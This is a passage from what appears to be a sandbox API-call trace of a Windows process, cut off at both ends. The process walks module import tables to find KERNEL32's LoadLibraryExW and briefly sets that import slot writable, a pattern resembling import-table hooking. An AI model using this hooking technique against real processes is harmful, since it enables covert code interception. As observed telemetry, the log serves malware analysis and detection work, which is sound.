lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetModuleBaseNameA", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetMappedFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetProcessImageFileNameA", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetWsChangesEx", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32EnumProcessModulesEx", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0070.893] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0070.893] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0d60 | out: hHeap=0x1ee0000) returned 1 [0070.893] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.893] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.893] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0d60 [0070.893] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0070.893] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.893] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0070.894] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.894] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.894] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0070.894] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.894] lstrcmpiA (lpString1="ReadDirectoryChangesW", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="GetCompressedFileSizeW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="EnumResourceNamesW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetShortPathNameA", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetDateFormatW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="PowerCreateRequest", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="PowerSetRequest", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="PowerClearRequest", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="GetProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetVolumeNameForVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="WTSGetActiveConsoleSessionId", lpString2="LoadLibraryExW") returned 1 [0070.894] lstrcmpiA (lpString1="GetPrivateProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="GetVolumePathNamesForVolumeNameW", lpString2="LoadLibraryExW") returned -1 [0070.894] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="GetProductInfo", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="UnregisterWait", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="WritePrivateProfileSectionW", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="GetPrivateProfileSectionNamesW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="QueryFullProcessImageNameW", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="FindAtomW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="GlobalFlags", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="SetVolumeLabelW", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="FlushInstructionCache", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="GetPhysicallyInstalledSystemMemory", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="FileTimeToLocalFileTime", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="TzSpecificLocalTimeToSystemTime", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="LoadLibraryExW") returned 1 [0070.895] lstrcmpiA (lpString1="FindResourceExW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="GetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0070.895] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="IsProcessInJob", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="ResolveLocaleName", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="LocaleNameToLCID", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="GetSystemPreferredUILanguages", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="QueryActCtxW", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0070.896] lstrcmpiA (lpString1="GetBinaryTypeW", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0070.896] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="RstrtMgr.DLL", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="DEVMGR.DLL", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="dwmapi.dll", lpString2="KERNEL32.DLL") returned -1 [0070.896] lstrcmpiA (lpString1="urlmon.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="WININET.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="Secur32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="USERENV.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.896] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="OLEACC.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="VERSION.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="dsrole.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="samcli.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="srvcli.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="wkscli.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="DAVHLPR.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="CSCAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="slc.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="UxTheme.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="ntshrui.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="EFSUTIL.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="SHDOCVW.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="EFSADU.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="LINKINFO.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="DUser.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="DUI70.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="apphelp.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="WINBRAND.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="credui.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="gdiplus.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="IMM32.dll", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0070.897] lstrcmpiA (lpString1="XmlLite.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] lstrcmpiA (lpString1="WINSTA.dll", lpString2="KERNEL32.DLL") returned 1 [0070.897] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0d60 | out: hHeap=0x1ee0000) returned 1 [0070.897] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.897] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.897] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0d60 [0070.898] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.898] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetModuleHandleExA", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="LCIDToLocaleName", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="GetVolumeInformationByHandleW", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0070.898] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="SetFileInformationByHandle", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0070.898] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="ReleaseSRWLockShared", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="InitializeSRWLock", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0070.899] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0070.899] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.899] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.900] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.900] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.900] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.900] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0dd0 [0070.900] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.900] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.900] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.900] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.900] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0070.900] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0070.900] lstrcmpiA (lpString1="GetCurrentProcess", 